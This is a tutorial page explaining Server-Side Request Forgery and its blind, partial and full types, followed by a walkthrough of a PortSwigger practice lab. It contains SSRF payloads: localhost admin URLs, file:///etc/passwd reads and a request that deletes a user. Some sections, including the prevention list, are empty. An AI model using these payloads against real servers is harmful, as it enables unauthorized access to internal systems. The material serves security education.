Server Side Request Forgery (SSRF) in Depth (original) (raw)

Last Updated : 13 Apr, 2026

Server-Side Request Forgery (SSRF) is a vulnerability where attackers trick a server into making HTTP(S) requests on their behalf. This can expose internal services, metadata or sensitive systems that are usually protected from external access.

SSRF

Working of SSRF

SSRF is a web vulnerability that occurs when an application accepts a user-supplied URL or request parameter and makes a server-side request on the user’s behalf without proper validation or restrictions

1. User Input Accepted

The application exposes a feature (such as fetching an image or importing data) where the user can submit a URL or IP address.

**Example: http://vulnerable.com/fetch?url=http://example.com/image.png

2. Server Makes the Request

The server, without proper input validation, fetches the URL provided by the user.

3. Accessing Internal Resources

Since the request originates from the internal server, it can access restricted internal resources, such as private IP ranges or cloud metadata endpoints.

**Example: http://vulnerable.com/fetch?url=http://127.0.0.1/admin

Attackers can access sensitive information, such as internal admin panels, database endpoints or cloud metadata services.

5. Attack Escalation

Attackers can further exploit SSRF to:

Types Of SSRF

Here are the different types of SSRF:

1. Blind SSRF

In Blind SSRF attacks, the attacker cannot see the actual response from the internal network but can manipulate the IP address or port. The attacker observes the server's behavior based on response codes or timeouts, which helps infer the outcome.

**Example:

http://example.com:1337
http://example.com:9923
http://example.com:43
http://example.com:22

2. Limited Response / Partial SSRF

In Limited Response SSRF, the attacker receives only a partial response, such as HTTP response codes, page titles or limited access to internal resources.

This can be exploited to:

**Example:

file:///etc/hosts

file:///etc/passwd

3. Full Response SSRF

In Full SSRF, the attacker has complete control over the request that the server sends, allowing full interaction with internal services. The attacker can view complete responses from the server and use multiple protocols to exploit vulnerabilities.
Capabilities include:

**Example:

http://192.168.1.8/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Hands-On SSRF Example

Here is a polished, ready-to-paste version of your step-by-step process for solving the PortSwigger SSRF lab (deleting user carlos):

Step 1: Open the Lab

Use the following link to launch the PortSwigger lab: Basic SSRF against the local server

file

Step 2: Identify the Vulnerable Parameter

file

file

POST /product/stock HTTP/2
Host: 0a5a004103dd133d83e16f40008900da.web-security-academy.net
Cookie: session=wAPnzoCooHawImB5YNX63ywiT2YVWaol
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Referer: https://0a5a004103dd133d83e16f40008900da.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: https://0a5a004103dd133d83e16f40008900da.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

Step 3: Exploit Internal Services

stockApi=http://localhost/admin

file

Step 4: Delete the user carlos

/admin/delete?username=carlos

file

https://localhost/admin/delete?username=carlos

file

Step 5: Confirm Lab Completion

file

Prevention Strategies

Potential Blocks During SSRF Testing